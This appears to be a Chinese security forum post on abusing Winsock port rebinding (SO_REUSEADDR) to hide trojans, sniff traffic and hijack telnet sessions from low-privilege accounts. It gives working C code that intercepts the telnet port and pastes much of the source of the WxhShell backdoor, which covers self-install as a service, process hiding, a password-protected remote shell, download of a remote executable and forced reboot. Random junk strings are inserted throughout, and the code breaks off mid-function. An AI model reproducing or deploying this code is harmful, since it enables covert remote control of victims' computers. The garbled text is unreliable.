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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: FlrYXau  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4/ q BD  
+Oo-8f*  
  saddr.sin_family = AF_INET; MhD=\Lpj\  
z 9WeOs  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c]$$ap  
"WbKhE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'L{pS-+6  
uG YH4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OI6m>XH?  
t!B,%,Dp  
  这意味着什么?意味着可以进行如下的攻击: ^\\9B-MvY  
=`C K`x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  Yg2P(  
K_.|FEV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *;F<Q!i&v  
LFYSur8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 GyFA1%(o  
\~U:k4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e~R_bBQ0  
1C*mR%Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YZ<5-C  
k!WeE#"(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ``{GU}n  
x>A[~s"|N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m<*+^JN  
(VHPcoL  
  #include WV p6/HS  
  #include R 4DfqX  
  #include NMrf I0tbG  
  #include     >Af0S;S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   OKu~Nb*  
  int main() t9lf=+%s  
  { <1_3`t  
  WORD wVersionRequested; qn}VW0!  
  DWORD ret; [I<J6=  
  WSADATA wsaData; wCj)@3F  
  BOOL val; Lso%1M  
  SOCKADDR_IN saddr; mW,b#'hy  
  SOCKADDR_IN scaddr; Aq>?G+  
  int err; 'bg'^PN>z  
  SOCKET s; C?<-`$0  
  SOCKET sc; ']1a  
  int caddsize; nCA~=[&H  
  HANDLE mt; s8' ;4z  
  DWORD tid;   !>kg:xV  
  wVersionRequested = MAKEWORD( 2, 2 ); g$/7km{TP  
  err = WSAStartup( wVersionRequested, &wsaData ); U5?QneK  
  if ( err != 0 ) { t23W=U  
  printf("error!WSAStartup failed!\n"); 3+iryW(\  
  return -1; K(TejW#  
  } Q0ba;KPm  
  saddr.sin_family = AF_INET; ? 5OK4cR  
   yGX5\PSo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Qz$nWsD  
|S:erYE,G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @,W5K$Ka=  
  saddr.sin_port = htons(23); NJQy*~P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2 zX9c<S=5  
  { =&FaMR2  
  printf("error!socket failed!\n"); 5EECr \*  
  return -1; P{StF`>Y  
  } w:R#F( 'B  
  val = TRUE; N!-P2)@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :6o|6MC!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7$IR^  
  { I"KosSs  
  printf("error!setsockopt failed!\n"); ^E+fmY2a  
  return -1; Q j|tD+<  
  } <R%TCVwC@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7(| f@Y~*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3Jj&wHp]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .>1Y-NM  
E7/i_Xkk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) rA8{Q.L  
  { xjrL@LO#  
  ret=GetLastError(); 1/?K/gL  
  printf("error!bind failed!\n"); L{&Yh|}  
  return -1; >>8{N)c5E  
  } oP:R1<  
  listen(s,2); QDb8W*&<  
  while(1) ?_T[]I'  
  { KYz@H#M  
  caddsize = sizeof(scaddr); g{kjd2  
  //接受连接请求 /`y^z"!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t7,$u-  
  if(sc!=INVALID_SOCKET) LIyb+rH#yg  
  { wk1/&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); WB `h)  
  if(mt==NULL) =gZA9@]W2  
  { M<Dvhy[  
  printf("Thread Creat Failed!\n"); 6X4r2Vq  
  break; BD]o+96qP  
  } nFn}  
  } 2 ksbDl}  
  CloseHandle(mt); ,,7hVw  
  } j}fSz)`i  
  closesocket(s); q_"w,28  
  WSACleanup(); b"OHXu  
  return 0; ?t/\ ID  
  }   Zv8_<>e  
  DWORD WINAPI ClientThread(LPVOID lpParam) {*<%6?  
  { 82o|(pw  
  SOCKET ss = (SOCKET)lpParam; sNMF(TY  
  SOCKET sc; -e0?1.A$  
  unsigned char buf[4096]; WKwYSbs(  
  SOCKADDR_IN saddr; 3|EAOoWnK  
  long num; h&~9?B  
  DWORD val; 2~V"[26t  
  DWORD ret; \zOsq5}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 k(@W z>aCv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]a[2QQ+g  
  saddr.sin_family = AF_INET; J\ J3 'u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P=s3&NDD  
  saddr.sin_port = htons(23); 4`Jf_C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J]Rh+@r.  
  { lfr^NxOU  
  printf("error!socket failed!\n"); m SO7r F  
  return -1; sG^{ cn  
  } C@pn4[jTl  
  val = 100; 19%zcYTe  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C3 BoH&  
  { d vo|9 >  
  ret = GetLastError(); JcfGe4  
  return -1; ZzP&Zrm  
  } oqg +<m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^)aj, U[  
  { _'n]rQ'  
  ret = GetLastError(); 9XUk.Nek  
  return -1; G 6xN R  
  } b7gN|Hw5 H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]]y,FQ,r  
  { _ G2)=yj]  
  printf("error!socket connect failed!\n"); +HgyM0LFg  
  closesocket(sc); XK;Vu#E*^  
  closesocket(ss); O:imX>|u  
  return -1; a^Q ?K\c4N  
  } K1&t>2=%  
  while(1) _3#_6>=M  
  { $)KNpdXh  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 SA%)xGRW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9 aKU}y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 QB ;TQZ  
  num = recv(ss,buf,4096,0); yf4 i!~  
  if(num>0) {CFy %  
  send(sc,buf,num,0); (Bv~6tj~J  
  else if(num==0) gtqtFrleG  
  break; S@TfZ3Go|  
  num = recv(sc,buf,4096,0); &MB1'~Q,hq  
  if(num>0) 9Sl5jn  
  send(ss,buf,num,0); xmfZ5nVL  
  else if(num==0) 0;]VTz?P  
  break; ZoCk]hk  
  } +6^hp-G7  
  closesocket(ss); 6 B7 F  
  closesocket(sc); mXyg\5  
  return 0 ; Vo|[Z)MO`  
  } ~ftR:F|9  
]3Jb$Q@  
C^:{y  
========================================================== ~4xn^.w  
,|j\x  
下边附上一个代码,,WXhSHELL KTeR;6oZn"  
k`s_31<  
========================================================== 0n={Mb  
90ov[|MkM  
#include "stdafx.h" kv2 H3O  
2Zg%4/u,Zp  
#include <stdio.h> g[\8s~g,  
#include <string.h> -"XHN=H  
#include <windows.h> ]LMtZUz  
#include <winsock2.h> `BaJ >%|  
#include <winsvc.h> BJ5^-|  
#include <urlmon.h> ofsLx6Po  
8N3rYx;d~  
#pragma comment (lib, "Ws2_32.lib") !P":z0K4  
#pragma comment (lib, "urlmon.lib") (nYGN$qC9  
kjt(OFh'Y+  
#define MAX_USER   100 // 最大客户端连接数 : ?>yi7w  
#define BUF_SOCK   200 // sock buffer  &'?Hh(  
#define KEY_BUFF   255 // 输入 buffer rqKK89fD'  
^b^buCYw  
#define REBOOT     0   // 重启 Z4m+GFY  
#define SHUTDOWN   1   // 关机 =c%gV]>G  
#RKd >ig%  
#define DEF_PORT   5000 // 监听端口 Ds{DVdqA$c  
LCe6](Z  
#define REG_LEN     16   // 注册表键长度 57_AJT hR  
#define SVC_LEN     80   // NT服务名长度 Iv u'0vF  
Wq?vAnLbk  
// 从dll定义API <oSx'_dc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Jyp7+M]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p[;@9!t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8~O0P=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B3I0H6O  
>LB*5  
// wxhshell配置信息 z$Qy<_l  
struct WSCFG { \3hFb,/4k  
  int ws_port;         // 监听端口 y(Em+YTD  
  char ws_passstr[REG_LEN]; // 口令 6=*n$l# }  
  int ws_autoins;       // 安装标记, 1=yes 0=no xhB-gG=  
  char ws_regname[REG_LEN]; // 注册表键名 _,f7D/dq  
  char ws_svcname[REG_LEN]; // 服务名 /03?(n= 3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NL'(/|)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {s=c!08=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <S12=<c?'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A-h[vP!v|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .}E@ 7^X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AE Abny q  
(-@I'CFd  
}; KHM,lj*  
SPauno <M  
// default Wxhshell configuration `H9 !Z$7G  
struct WSCFG wscfg={DEF_PORT, F'@ 9kdp  
    "xuhuanlingzhe", 0%yPuY>  
    1, mILCC} Kt  
    "Wxhshell", f?(g5o*2  
    "Wxhshell", is^5TL%@  
            "WxhShell Service", 4.>y[_vu  
    "Wrsky Windows CmdShell Service", 7dOpJjv?)  
    "Please Input Your Password: ", g\*2w @  
  1, &<cP{aBa  
  "http://www.wrsky.com/wxhshell.exe", P!{J28dj  
  "Wxhshell.exe" anORoK.  
    }; u]]mbER*t#  
M[e^Z}w.V  
// 消息定义模块 JZE<oQ_Jm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gj&5>brP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +;bZ(_ohG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :*cd$s  
char *msg_ws_ext="\n\rExit."; 'CRjd~L  
char *msg_ws_end="\n\rQuit."; -67!u;  
char *msg_ws_boot="\n\rReboot..."; 3@1$y`SN  
char *msg_ws_poff="\n\rShutdown..."; G\(*z4@Gz  
char *msg_ws_down="\n\rSave to "; Ty*+?#`  
n} ]gAX  
char *msg_ws_err="\n\rErr!"; t$lJgj(  
char *msg_ws_ok="\n\rOK!"; m]}EVa_I`/  
pezfB{x?  
char ExeFile[MAX_PATH]; PK&X | h  
int nUser = 0; ]1I-e2Q-J  
HANDLE handles[MAX_USER]; OUN"'p%%  
int OsIsNt; ?q y*`  
}|RL6p-/'  
SERVICE_STATUS       serviceStatus; m &[(xVM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l(}l([rdQ  
OJ.oHf=K!  
// 函数声明 _P%PjFQ)  
int Install(void);  \7e4t  
int Uninstall(void); M" $g*j  
int DownloadFile(char *sURL, SOCKET wsh); IU"8.(;o  
int Boot(int flag); ly@%1  
void HideProc(void);  }s8xr>  
int GetOsVer(void); R?J8#JPXD  
int Wxhshell(SOCKET wsl); {@PZlQg  
void TalkWithClient(void *cs); g9IIC5  
int CmdShell(SOCKET sock); jPg[LZQ'  
int StartFromService(void); 0QEcJ]Qb8  
int StartWxhshell(LPSTR lpCmdLine); TjpAJW@-  
|:`)sx3@#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lGJ&\Lv:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r>rL[`p(2  
<t"fL RX  
// 数据结构和表定义 ?DY6V;&F@f  
SERVICE_TABLE_ENTRY DispatchTable[] = 'G`xD3 E3,  
{ yz)Nco]  
{wscfg.ws_svcname, NTServiceMain}, ler$HA%F]  
{NULL, NULL} x$pz(Q&v  
}; _6]tbni?v  
Mv:\T%]  
// 自我安装 `u8(qGg7GF  
int Install(void) r'@7aT&_  
{ bKh}Y`  
  char svExeFile[MAX_PATH]; d~T@fa  
  HKEY key; <<9|*Tz  
  strcpy(svExeFile,ExeFile); )[=C@U  
M-8d*#_P  
// 如果是win9x系统,修改注册表设为自启动 WWLf'89It  
if(!OsIsNt) { Wq<H sJd/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vJ;0%;eu[!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }hXmK.['  
  RegCloseKey(key); 1`Uu;mz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WJ\,Y} J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~SXqhX-`  
  RegCloseKey(key); \8k4v#wH  
  return 0; C]3^:b+   
    } 59V8cO+qH  
  } U?EXPi61Z  
} Bo0T}P~  
else { V]Uc@7S/  
>&T J  
// 如果是NT以上系统,安装为系统服务 semTAoqH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xg;F};}5$  
if (schSCManager!=0) \^lDd~MWG  
{ 8boiJku`  
  SC_HANDLE schService = CreateService rgEN~e'  
  ( -JclEp  
  schSCManager, uY3?(f#  
  wscfg.ws_svcname, sjHcq5#U!  
  wscfg.ws_svcdisp, Q0L1!}w   
  SERVICE_ALL_ACCESS, UAC"jy1D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I1p{(fJ  
  SERVICE_AUTO_START, /KlSI<T@  
  SERVICE_ERROR_NORMAL, )1<GSr9  
  svExeFile, oF s)UR  
  NULL, D$`$4mX@hP  
  NULL, _znpzr9H  
  NULL, e_FoNT  
  NULL, 6g)CpZU  
  NULL 8w~X4A,  
  ); ,X\qlT5C  
  if (schService!=0) 02^Nf7DMR  
  { ;r XZ?"  
  CloseServiceHandle(schService); uzS;&-nA  
  CloseServiceHandle(schSCManager); tHFUV\D;,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EIOP+9zP  
  strcat(svExeFile,wscfg.ws_svcname); C`8.8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k?_uv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k:&B b"  
  RegCloseKey(key); ]'z 5%'  
  return 0; "}0)~,{x B  
    } Ls&-8  
  } - R`nitf  
  CloseServiceHandle(schSCManager); Y{8}z ZD  
} $$'[ %  
} c7R6.T  
!]&+g'aC3  
return 1; LXRIo2ynuw  
} o3le[6C/8=  
A=np ?wc  
// 自我卸载 8(H!iKHe  
int Uninstall(void) o\nFSG kn  
{ Bey9P)_Of  
  HKEY key; o9Tsyjbj  
gbu)bqu2x  
if(!OsIsNt) { mqiCn]8G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =ibKdPtTh^  
  RegDeleteValue(key,wscfg.ws_regname); O#)YbaE  
  RegCloseKey(key); .gCun_td#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qh6Q#s>tH  
  RegDeleteValue(key,wscfg.ws_regname); |gfG\fL3V  
  RegCloseKey(key); 161IWos  
  return 0;  |  
  } Q%0 N\  
} \CYKj_c  
} &p55Cg@e)  
else { B06W(y,3Q>  
1:q`KkJx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nDz.61$[  
if (schSCManager!=0) '.7ER  
{ W'v o?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -LlS9[r0  
  if (schService!=0) 1gX$U00:  
  { k%;oc$0G-3  
  if(DeleteService(schService)!=0) { 4^ZbT  
  CloseServiceHandle(schService); +_ $!9m  
  CloseServiceHandle(schSCManager); Ag;Ybk[  
  return 0; Hr*xAx  
  } 4@Bl 1b[<  
  CloseServiceHandle(schService); 12}!oS~_  
  } j!IkU}*c  
  CloseServiceHandle(schSCManager); &HqBlRo  
} f/sLQdK,  
} -E.fo._L5  
:VX2&*  
return 1; BfDC[(n`  
} L!Gpk)}[i  
nlc$"(eA[H  
// 从指定url下载文件 ^a7a_M  
int DownloadFile(char *sURL, SOCKET wsh) {-hu""x>  
{ 5GURfG3{  
  HRESULT hr; F1% ^,;  
char seps[]= "/"; wjHH%y  
char *token; -.5R.~@  
char *file; +*wo iSD  
char myURL[MAX_PATH]; :bq UA(k  
char myFILE[MAX_PATH]; HHT8_c'CC#  
,9$|"e&  
strcpy(myURL,sURL); ?',GRaD  
  token=strtok(myURL,seps); ^g"%:4zO  
  while(token!=NULL) ZSLvr-,D  
  { *EFuK8 ;  
    file=token; $ou/ Fn  
  token=strtok(NULL,seps); 9r 5(  
  } <jh=W9.N_  
<9S5  
GetCurrentDirectory(MAX_PATH,myFILE); ;S'1fci6  
strcat(myFILE, "\\"); x}OJ~Yk]  
strcat(myFILE, file); V%voe  
  send(wsh,myFILE,strlen(myFILE),0); E=ObfN"ge  
send(wsh,"...",3,0); "!:)qVL^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tV2o9!N4  
  if(hr==S_OK) /#[mV(k  
return 0; NZ% v{?  
else RAA,%rRhu(  
return 1; 43*;"w=  
UW{C`^?=B  
} qCm8R@  
k8,s<m  
// 系统电源模块 'N\nJz}  
int Boot(int flag) EnEaUb?P  
{ <=%G%V_s  
  HANDLE hToken; LKg9{0Y:  
  TOKEN_PRIVILEGES tkp; tYx>?~   
)Dyyb1\)  
  if(OsIsNt) { UryHte  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f;bVzti+w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `_OB_F  
    tkp.PrivilegeCount = 1; 4XSq\.@G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eRg;)[#0>$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >j&k:  
if(flag==REBOOT) { R+9 hog  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k>:\4uI|<\  
  return 0; &x/Z {ut  
} ,E2c9V'  
else { so A] f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zG<>-?q~'  
  return 0; b6@0?_n  
} %z-n2%  
  } w=[ITQ|W%  
  else { Wli!s~c5Fo  
if(flag==REBOOT) { m(CsO|pz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (w Q,($@  
  return 0; ^j2z\yo  
} CUj$ <ay=  
else { u|(Iu}sE=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b\H,+|i K  
  return 0; /Y [ b8f  
} nE4rB\  
} }'h\;8y  
d,o|>e$  
return 1; Us3zvpy)o  
} .~|[* q\  
;bFd*8?;  
// win9x进程隐藏模块 od*#)   
void HideProc(void) >P-'C^:V=  
{ )ZpMB  
uC2qP)m,^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DN;$ ->>  
  if ( hKernel != NULL ) Sy^@v%P'A  
  { kE1k@h#/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +[pJr-k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )2R]KU_=g  
    FreeLibrary(hKernel); srH.$Y;~  
  } Bd[H@oKru  
afjEN y1  
return; J,k.*t:  
} #,OiZQJC  
i"n1E@  
// 获取操作系统版本 ~$YasFEz  
int GetOsVer(void) 5Z13s  
{ r(g2&}o\  
  OSVERSIONINFO winfo; GQ*or>R1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bs)Ro/7}  
  GetVersionEx(&winfo); ^%qQ)>I=j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O)`ye5>v  
  return 1; 4r9AUmJqw  
  else 8cj}9}k  
  return 0; +>:[irf  
} (lvp-<*  
@ZtvpL}e  
// 客户端句柄模块 TrBtTqH)  
int Wxhshell(SOCKET wsl) X&!($*/  
{ DOq"=R+  
  SOCKET wsh; DK#Tr: 7  
  struct sockaddr_in client;  xC2y/ ?  
  DWORD myID; o>I,$=  
\$,8aRT>#U  
  while(nUser<MAX_USER) ,?!MVN-  
{ i$H9~tPs  
  int nSize=sizeof(client); 'acCnn'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1z@{ 4)  
  if(wsh==INVALID_SOCKET) return 1; S*H @`Do%d  
\_/dfmlIZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MFqb_q+  
if(handles[nUser]==0) P} Y .  
  closesocket(wsh); $Eo-58<q  
else s2 $w>L  
  nUser++; 2=X.$&a  
  } t5EYu*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [\=1|t5n~  
}q:4Zh'l!  
  return 0; 8/-hODoT_  
} i \@a&tw  
qrc ir-+  
// 关闭 socket V|pO";%>,  
void CloseIt(SOCKET wsh) ?qbq\t  
{ ;6*$!^*w  
closesocket(wsh); ne=CN!=  
nUser--; Bu4@FIK!C  
ExitThread(0);  `dIwBfg_  
} a!, X@5  
G1wJ]ar  
// 客户端请求句柄 7~VDk5Z6  
void TalkWithClient(void *cs) m5cRHo<9Y  
{ n"nfEA3{`  
"FLiSz%ME  
  SOCKET wsh=(SOCKET)cs; K/8TwB?I  
  char pwd[SVC_LEN]; 4 Z&KR<2Z  
  char cmd[KEY_BUFF]; seZb;0  
char chr[1]; ^_uCSA'X  
int i,j; E*QLw* H  
;+lsNf  
  while (nUser < MAX_USER) { :13u{5:th  
V/yj.aA*@  
if(wscfg.ws_passstr) { Sea6xGdq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Nu+DVIM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z]!w@:  
  //ZeroMemory(pwd,KEY_BUFF); i~rb-~o  
      i=0; rg I Z  
  while(i<SVC_LEN) { |]b,% ?,U  
fRp(&%8E  
  // 设置超时 X5=I{eY}  
  fd_set FdRead; fD%20P`.  
  struct timeval TimeOut; 2j$~lI  
  FD_ZERO(&FdRead); Kr+#)S  
  FD_SET(wsh,&FdRead); .L.9e#?3  
  TimeOut.tv_sec=8; iK8jX?  
  TimeOut.tv_usec=0; Myh?=:1~(c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f\H1$q\p\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4j<[3~:0 o  
1e I_F8I U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @su!9]o  
  pwd=chr[0]; l$m}aQ%h  
  if(chr[0]==0xd || chr[0]==0xa) { j k&\{  
  pwd=0; @I?: x4  
  break; j)#GoU=w  
  } 0KjCM4t  
  i++; }U|Vpgd!  
    } mBQpf/PG  
~Jlq.S'  
  // 如果是非法用户,关闭 socket Nf}i /  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }Zfi/^0U  
} L),bP fz  
T2|os{U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T/jxsIt3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y8 dOx=c  
wqgKs=y  
while(1) { o 9d|XY_  
~iq=J5IN#  
  ZeroMemory(cmd,KEY_BUFF); DkW^gt  
\+k~p:d_8  
      // 自动支持客户端 telnet标准   [<nd+3E  
  j=0; )-25?B  
  while(j<KEY_BUFF) { `tl-] ^Y2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fP llN8n  
  cmd[j]=chr[0]; qf{HGn_9~1  
  if(chr[0]==0xa || chr[0]==0xd) { mv(/M t  
  cmd[j]=0; ^grDP*;W  
  break; UkC'`NWF*  
  } #p-\Y7f  
  j++; m",G;VN  
    } N[N4!k )!$  
."`||@|  
  // 下载文件 7t+H94KG7  
  if(strstr(cmd,"http://")) { t;_1/ mt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (*\y  
  if(DownloadFile(cmd,wsh)) LdnTdh?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @@=,bO  
  else w{GEWD{&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kB=5=#s  
  } %Lq}5zB  
  else { ypx`!2Q$  
A>\3FeU>UC  
    switch(cmd[0]) { (R(NEN  
  Bk5ft4v-  
  // 帮助 !p_l(@f  
  case '?': { }sp?@C,Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AnpO?+\HF  
    break; ,_K:DSiB  
  } /Z]hX*QR  
  // 安装 X n Rm9%  
  case 'i': { xM/WS':V  
    if(Install()) Y]i:$X]C?X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W9{y1,G9  
    else m<!CF3g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #hXuGBZEI  
    break; 8yM8O #S  
    } ?F~0\T,7  
  // 卸载 jH<,dG:{  
  case 'r': { L5CnPnF  
    if(Uninstall()) BL%3[JQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kRH D{6mol  
    else bnV)f<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'Y]<1M>.g  
    break; Bo ??1y  
    } a~zh5==QD  
  // 显示 wxhshell 所在路径 D3y4e8+Z'  
  case 'p': { MI~Q Xy,  
    char svExeFile[MAX_PATH]; eQIS`T  
    strcpy(svExeFile,"\n\r"); b(> G  
      strcat(svExeFile,ExeFile); V=c?V/pl  
        send(wsh,svExeFile,strlen(svExeFile),0); <ILi38%Y  
    break; jn oX%3d-  
    } #*3 vE& p  
  // 重启 p$<){,R  
  case 'b': { <)oxs ]<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4}] In/yA  
    if(Boot(REBOOT)) !k#N] 9D3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |@hyGu-H+  
    else { @Y#TWt#  
    closesocket(wsh); :^]Fp UY  
    ExitThread(0); A[f `xE  
    } am/D$ (l1  
    break; 2SKtdiY  
    } ;`Z>^.CB  
  // 关机 4ZB]n,pfT  
